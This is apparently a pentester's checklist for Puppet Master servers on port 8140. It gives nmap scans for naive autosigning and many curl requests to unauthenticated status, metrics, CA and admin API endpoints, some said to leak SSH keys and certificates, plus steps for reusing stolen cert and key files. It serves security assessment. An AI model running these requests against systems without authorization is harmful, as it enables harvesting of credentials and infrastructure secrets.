Puppet Master Server - Port 8140

 

Checklist 

Check the version Vulnerabilities (get version from API)
Refer to this Tenable Article
Check for Puppet Naive autosigning enabled --> should be disabled 
you can scan it by via "nmap  -p8140 --script  puppet-naivesigning -sV 10.10.10.10"
nmap -sSVC --privileged -vvv --reason -p 8140 --script puppet-naivesigning --script-args puppet-naivesigning.csr=/path/to/csr.pem,puppet-naivesigning.env=production,puppet-naivesigning.node=DomainnameOfAppServerControlledByPuppet 10.10.10.10
Look for unauthenticated API Access
If API is accessible, run all commands to get Sensitive info
Run this script Puppet_Pentest.py to Run most of the below commands at once.

#Check whether Puppet Server is running on a server or not
https://10.10.10.10:8140/status/v1/simple

#Puppet Service Information - Check Services info (Agents)
curl -k -X GET https://PUPPET-SERVER:8140/status/v1/services

#Retrieve information about services running on Puppet Server
https://10.10.10.10:8140/status/v1/services?level=debug

#V2 Version 
curl -k -X GET https://PUPPET-SERVER:8140/metrics/v2/version

#list features
curl -k -X GET https://PUPPET-SERVER:8443/features

# Authorization 
curl -Lks https://10.10.10.10:8140/puppet
curl -Lks https://10.10.10.10:8140/puppet-ca

#Metrics Example 
curl -kLs https://10.10.10.10:8140/metrics/v2/read/java.util.logging:type=Logging/LoggerNames 

#list the available options
curl -Lks https://10.10.10.10/metrics/v2/list

curl -Lks https://10.10.10.10:8140/metrics/v2/read/java.lang:name=*,type=GarbageCollector/CollectionCount,CollectionTime

curl -Lks https://10.10.10.10:8140/metrics/v2/read/<MBEAN NAMES>/<ATTRIBUTES>/<OPTIONAL INNER PATH FILTER>

Puppet V1 Certificate Request

Get more info from here

#Get CSR of a known Node
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/puppet

#Requests a TLS client certificate signing (CSR) from the Puppet CA service
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/:nodename?environment=:environment

#Retrieve all CSR's
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_requests/ignored

#Certificate Revocation List
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_revocation_list/ca

Puppet Admin API 

#Retrieve a Ruby thread dump for each JRuby instance registered to the pool
https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/environment-cache
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

#Retrieve a specific version of a file at a given environment and path
https://10.10.10.10:8140//puppet/v3/static_file_content/modules/example/files/data.txt?code_id=urn:puppet:code-id:1:67eb71417fbd736a619c8b5f9bfc0056ea8c53ca;production&environment=production'

V1 Metrics

#V1 API  --> displays crazy lot of info along with ssh keys and system info
#search for specific functions using regex "(.*):type=*"
curl -vkLs https://10.10.10.10:8140/metrics/v1/mbeans -o output.html

#list based on the required key 
curl -kLs https://10.10.1.0:8140/metrics/v1/mbeans/java.lang:type=Memory


curl -X POST \
   -H "Content-Type: application/json" \
   -d '["puppetlabs.puppetdb.storage:name=replace-facts-time", "puppetlabs.puppetdb.storage:name=replace-catalog-time"]' \
   http://10.10.10.10:8080/metrics/v1/mbeans

keys: 
java.lang:type=MemoryPool
java.lang:type=MemoryManager
java.lang:type=Memory
java.lang:type=GarbageCollector
java.lang:type=ClassLoading
java.lang:type=Compilation
type=internalsslcontextfactory
JMImplementation:type=MBeanServerDelegate
java.nio:type=BufferPool
jolokia:type=Config
jolokia:type=Discovery
jolokia:type=ServerHandler

V3 API 

curl -Lks https://10.10.10.10:8140/puppet/v3/catalog/

When you got the cert, key and cacert from the server, run below 

curl -si --cert  --key  --cacert  -X GET https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

for more into check this